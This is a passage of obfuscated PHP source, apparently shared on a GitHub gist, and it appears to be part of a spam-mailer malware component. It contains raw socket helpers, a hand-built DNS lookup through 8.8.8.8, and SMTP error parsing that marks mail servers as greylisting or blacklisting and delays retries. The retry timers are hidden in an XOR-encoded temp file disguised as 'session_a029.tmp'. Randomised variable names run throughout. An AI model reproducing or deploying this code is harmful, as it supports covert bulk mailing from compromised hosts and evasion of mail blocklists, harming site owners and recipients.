if (constant("SOCKET_TYPE") == constant("SOCKET_TYPE_SOCKET")) { | |
@socket_close($sp); | |
} else { | |
@fclose($sp); | |
} | |
$sp = FALSE; | |
return; | |
} | |
function connection_read($sp, $wzauo50, &$error_code, &$error_str) | |
{ | |
if ($sp == FALSE) { | |
return FALSE; | |
} | |
if (constant("SOCKET_TYPE") == constant("SOCKET_TYPE_SOCKET")) { | |
$result = @socket_read($sp, $wzauo50, PHP_BINARY_READ); | |
if ($result == FALSE) { | |
$error_code = socket_last_error($sp); | |
$error_str = socket_strerror($error_code); | |
} | |
} else { | |
if (@feof($sp)) { | |
return FALSE; | |
} | |
$result = @fread($sp, $wzauo50); | |
if (strlen($result) == 0) { | |
$error_code = 35; | |
} | |
} | |
return $result; | |
} | |
function connection_write($sp, $data, &$error_code, &$error_str) | |
{ | |
if ($sp == FALSE) { | |
return FALSE; | |
} | |
if (constant("SOCKET_TYPE") == constant("SOCKET_TYPE_SOCKET")) { | |
$result = @socket_write($sp, $data); | |
if ($result == FALSE) { | |
$error_code = socket_last_error($sp); | |
$error_str = socket_strerror($error_code); | |
} | |
} else { | |
if (@feof($sp)) { | |
return FALSE; | |
} | |
$result = @fwrite($sp, $data); | |
} | |
return $result; | |
} | |
function connection_set_timeout($sp, $timeout) | |
{ | |
if ($sp == FALSE) { | |
return FALSE; | |
} | |
if (constant("SOCKET_TYPE") == constant("SOCKET_TYPE_SOCKET")) { | |
@socket_set_option($sp, SOL_SOCKET, SO_RCVTIMEO, array( | |
"sec" => $timeout, | |
"usec" => 0 | |
)); | |
@socket_set_option($sp, SOL_SOCKET, SO_SNDTIMEO, array( | |
"sec" => $timeout, | |
"usec" => 0 | |
)); | |
} else { | |
@stream_set_timeout($sp, $timeout); | |
} | |
return TRUE; | |
} | |
function dns_lookup($address, $hkxgl74) | |
{ | |
$error_code = 0; | |
$error_str = ""; | |
$sp = connection_open(FALSE, constant("SOCKET_PROTO_UDP"), "8.8.8.8", 53, 10, $error_code, $error_str); | |
if (!$sp) { | |
return FALSE; | |
} | |
$ykysr23 = rand(0x0001, 0xFFFE); | |
$gplqu49 = explode('.', $address); | |
$yklmz82 = pack("nnnnnn", $ykysr23, 0x0100, 0x0001, 0x0000, 0x0000, 0x0000); | |
foreach ($gplqu49 as $getbi62) { | |
$yklmz82 .= pack("Ca*", strlen($getbi62), $getbi62); | |
} | |
$yklmz82 .= pack("Cnn", 0x00, $hkxgl74, 0x0001); | |
$bpcva59 = connection_write($sp, $yklmz82, $error_code, $error_str); | |
if (!$bpcva59 || $bpcva59 != strlen($yklmz82)) { | |
connection_close($sp); | |
return FALSE; | |
} | |
$cmqqi26 = connection_read($sp, 4086, $error_code, $error_str); | |
if ($cmqqi26 == FALSE || strlen($cmqqi26) < 12) { | |
connection_close($sp); | |
return FALSE; | |
} | |
$iianm65 = unpack("ntid/nflags/nque/nans/nauth/nadd", substr($cmqqi26, 0, 12)); | |
$asmjv88 = 12; | |
$result = array( | |
"header" => $iianm65 | |
); | |
for ($idx = constant("DNS_STEP_QESTION"); $idx <= constant("DNS_STEP_ADDITIONAL"); $idx++) { | |
$papxa65 = ''; | |
switch ($idx) { | |
case constant("DNS_STEP_QESTION"): | |
$papxa65 = "que"; | |
break; | |
case constant("DNS_STEP_ANSWER"): | |
$papxa65 = "ans"; | |
break; | |
case constant("DNS_STEP_AUTHORITY"): | |
$papxa65 = "auth"; | |
break; | |
case constant("DNS_STEP_ADDITIONAL"): | |
$papxa65 = "add"; | |
break; | |
} | |
for ($irdlf69 = 0; $irdlf69 < $iianm65[$papxa65]; $irdlf69++) { | |
$wdasj57["name"] = dns_decode_value($asmjv88, $cmqqi26); | |
if ($idx == constant("DNS_STEP_QESTION")) { | |
$wdasj57 = array_merge($wdasj57, unpack("ntype/nclass", substr($cmqqi26, $asmjv88, 4))); | |
$asmjv88 += 4; | |
} else { | |
$wdasj57 = array_merge($wdasj57, unpack("ntype/nclass/Nttl/ndatalength", substr($cmqqi26, $asmjv88, 10))); | |
$asmjv88 += 10; | |
switch ($wdasj57["type"]) { | |
case constant("DNS_TYPE_MX"): | |
$wdasj57 = array_merge($wdasj57, unpack("npreference", substr($cmqqi26, $asmjv88, 2))); | |
$asmjv88 += 2; | |
$wdasj57["data"] = dns_decode_value($asmjv88, $cmqqi26); | |
break; | |
case constant("DNS_TYPE_A"): | |
$wdasj57 = array_merge($wdasj57, unpack("Ndata", substr($cmqqi26, $asmjv88, 4))); | |
$asmjv88 += 4; | |
$wdasj57["ip"] = long2ip($wdasj57["data"]); | |
break; | |
case constant("DNS_TYPE_NS"): | |
case constant("DNS_TYPE_PTR"): | |
$wdasj57["data"] = dns_decode_value($asmjv88, $cmqqi26); | |
break; | |
default: | |
$asmjv88 += $wdasj57["datalength"]; | |
} | |
} | |
$result[$papxa65][] = $wdasj57; | |
} | |
} | |
return $result; | |
} | |
function dns_decode_value(&$aiioa22, $cmqqi26) | |
{ | |
$result = ""; | |
$rfcyn72 = $aiioa22; | |
while (ord($cmqqi26[$rfcyn72]) != 0) { | |
if (ord($cmqqi26[$rfcyn72]) == 0xC0) { | |
if ($rfcyn72 >= $aiioa22) { | |
$aiioa22 += 2; | |
} | |
$rfcyn72 = ord($cmqqi26[$rfcyn72 + 1]); | |
continue; | |
} | |
if (strlen($result) > 0) { | |
$result .= '.'; | |
} | |
$result .= substr($cmqqi26, $rfcyn72 + 1, ord($cmqqi26[$rfcyn72])); | |
$rfcyn72 += ord($cmqqi26[$rfcyn72]) + 1; | |
if ($rfcyn72 > $aiioa22) { | |
$aiioa22 = $rfcyn72; | |
} | |
} | |
if ($rfcyn72 >= $aiioa22) { | |
$aiioa22 += 1; | |
} | |
return $result; | |
} | |
function retry_storage_read($lxlvb37) | |
{ | |
$result = array(); | |
$tnzom13 = get_temp_directory(1); | |
$yqqod27 = normalize_directory($tnzom13) . "session_a029.tmp"; | |
if (!file_exists($yqqod27)) { | |
return $result; | |
} | |
$uvetn15 = fopen($yqqod27, "r"); | |
$wncii55 = ""; | |
if ($uvetn15) { | |
while ($fnlew47 = fgets($uvetn15)) { | |
$wncii55 .= $fnlew47; | |
} | |
fclose($uvetn15); | |
$tpofs13 = base64_xor2_decode($wncii55); | |
$lutda10 = json_decode($tpofs13, TRUE); | |
if (is_array($lutda10)) { | |
$result = array_filter($lutda10, create_function("$x", "return (time(NULL) < $x); ")); | |
} | |
} | |
return $result; | |
} | |
function retry_storage_write($retry_time_storage) | |
{ | |
$tnzom13 = get_temp_directory(1); | |
$yqqod27 = normalize_directory($tnzom13) . "session_a029.tmp"; | |
if (file_exists($yqqod27)) { | |
unlink($yqqod27); | |
} | |
$uvetn15 = fopen($yqqod27, "w"); | |
if ($uvetn15) { | |
$wncii55 = base64_xor2_encode(json_encode($retry_time_storage, TRUE)); | |
fwrite($uvetn15, $wncii55); | |
fclose($uvetn15); | |
} | |
return; | |
} | |
function smtp_get_error($hosts_info, $connection_info, &$retry_time_storage) | |
{ | |
$ijrku81 = $xgxnu17 = $reason = ""; | |
if (!smtp_parse_error_response($connection_info["s_datain"], $ijrku81, $xgxnu17, $reason)) { | |
return ""; | |
} | |
foreach ($hosts_info as $mx_suffix => $host_info) { | |
if (preg_match("/" . preg_quote($mx_suffix) . "$/", $connection_info["s_mxhost"])) { | |
if (!empty($host_info[$connection_info["s_step"]])) { | |
foreach ($host_info[$connection_info["s_step"]] as $mrimx72 => $zjpkm74) { | |
foreach ($zjpkm74 as $glhpf69) { | |
if (is_array($glhpf69)) { | |
if (!empty($glhpf69[0]) && $glhpf69[0] != $ijrku81) { | |
continue; | |
} | |
if (!empty($glhpf69[1]) && $glhpf69[1] != $xgxnu17) { | |
continue; | |
} | |
if (!empty($glhpf69[2]) && !preg_match("/" . $glhpf69[2] . "/", $reason)) { | |
continue; | |
} | |
} else { | |
if (!preg_match("/" . $glhpf69 . "/", $reason)) { | |
continue; | |
} | |
} | |
if ($mrimx72 == "gl") { | |
$retry_time_storage[$mx_suffix] = time(NULL) + 7200; | |
} | |
if ($mrimx72 == "bl") { | |
$retry_time_storage[$mx_suffix] = time(NULL) + 86400; | |
} | |
return "(" . $mrimx72 . ")"; | |
} | |
} | |
} | |
} | |
} | |
return ""; | |
} | |
function smtp_parse_error_response($aypum33, &$ijrku81, &$xgxnu17, &$njmna24) | |
{ | |
$ykzbr40 = array(); | |
if (!preg_match("/^([0-9]{3})[ -]([0-9]+\\.[0-9]+\\.[0-9]+[ -])?(.*)/", $aypum33, $ykzbr40)) { | |
return FALSE; | |
} | |
if (empty($ykzbr40[2])) { | |
$ykzbr40[2] = "0.0.0"; | |
} | |
if (count($ykzbr40) != 4) { | |
return FALSE; | |
} | |
$hnuks64 = preg_replace("/[a-zA-Z\\-0-9\\.]+[a-zA-Z]\\[[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\]/", " zzhip ", $ykzbr40[3]); | |
$lgkfw70 = preg_replace("/[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}/", " zzip ", $hnuks64); | |
$iurxa89 = preg_replace("/[A-Za-z0-9\\-\\.\\_]+\\@[A-Za-z0-9\\-\\.]+/", " zzmal ", $lgkfw70); | |
$rjghr66 = preg_replace("/[45][0-9][0-9]\\s/", '', $iurxa89); | |
$zcddp71 = preg_replace("/[^A-Za-z0-9]/", " ", $rjghr66); | |
$widmp4 = preg_replace("/\\s+/", " ", strtolower($zcddp71)); | |
$ijrku81 = trim($ykzbr40[1], " "); | |
$xgxnu17 = trim($ykzbr40[2], " "); | |
$njmna24 = trim($widmp4, " "); | |
return TRUE; | |
} | |
function get_temp_directory($lxlvb37) | |
{ | |
if (function_exists("sys_get_temp_dir")) { | |
return sys_get_temp_dir(); | |
} | |
foreach (array( | |
"TMP", | |
"TEMP", | |
"TMPDIR" | |
) as $vxzpz95) { | |
$oxiwv74 = getenv($vxzpz95); | |
if ($oxiwv74) { | |
return $oxiwv74; | |
} | |
} | |
$oxiwv74 = tempnam(__FILE__, ''); | |
if (file_exists($oxiwv74)) { | |
unlink($oxiwv74); | |
return dirname($oxiwv74); | |
} | |
return FALSE; | |
} | |
function normalize_directory($xmxkd83) | |
{ | |
$result = preg_replace("/\\\\/", "/", $xmxkd83); | |
if ($result[strlen($result) - 1] != "/") { | |
$result .= "/"; | |
} | |
return $result; | |
} | |
function find_host_info_key($hosts_info, $connection_info) | |
{ | |
foreach ($hosts_info as $mx_suffix => $host_info) { | |
if (preg_match("/" . preg_quote($mx_suffix) . "$/", $connection_info["s_mxhost"])) { | |
return $mx_suffix; | |
} | |
} | |
return FALSE; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment